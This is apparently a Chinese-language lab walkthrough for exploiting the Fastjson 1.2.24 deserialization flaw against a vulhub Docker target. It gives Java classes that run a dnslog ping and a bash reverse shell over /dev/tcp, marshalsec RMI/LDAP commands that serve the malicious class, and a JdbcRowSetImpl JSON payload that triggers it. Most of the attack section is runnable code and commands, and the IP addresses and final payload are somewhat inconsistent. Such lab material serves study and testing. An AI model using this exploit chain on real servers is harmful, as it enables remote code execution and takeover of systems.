通过Fastjson
反序列化漏洞,攻击者可以传入一个恶意构造的JSON
内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
fastjson = 1.2.24
攻击机:192.168.112.137 靶机:192.168.112.137:5002 1.靶机环境搭建
用docker拉取靶机镜像
docker pull vulhub/fastjson:1.2.24
创建启动靶机容器
docker run -d -p 5002:8090 vulhub/fastjson:1.2.24
注:5002为外部映射端口,可自定义
2.漏洞检测利用 判断是否使用Fastjson框架
1.通过json解析异常抛出 2.通过DNSLOG判断
使用post请求,不带参数或者带一场参数,返回报错信息,使用fastjson框架
如果服务端禁止输出报错信息,可以使用dnslog的方法
使用Poc检测(利用dnslog)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Poc{
public Poc() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "ping odudmq.dnslog.cn"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
命名为Poc.java
使用命令javac Poc.java
,生成Poc.class
使用python开启http服务
python3 -m http.server 5623
把Poc.class
放到该目录下
下载marshalsec-0.0.3-SNAPSHOT-all.jar
https://wwe.lanzoui.com/i8FMSvvoevg
使用RMI或LDAP的服务加载远程类文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.137:5623/#Poc" 8653
或
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.112.137:5623/#Poc" 8653
构造数据包加载远程类
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.137:8653/Poc",
"autoCommit":true
}
}
查看dnslog日志
反弹shell exp文件
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exp{
public Exp() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.112.1/4563 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
命名为Exp.java
,使用命令javac Exp.java
,生成Exp.class
文件
放到刚才python的http服务目录下
加载远程类文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.112.1:5623/#Exp" 8653
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.112.137:8653/Poc",
"autoCommit":true
}
}
获取反弹shell
参考:https://dyblogs.cn/dy/2392.html https://www.sohu.com/a/411003981_610481等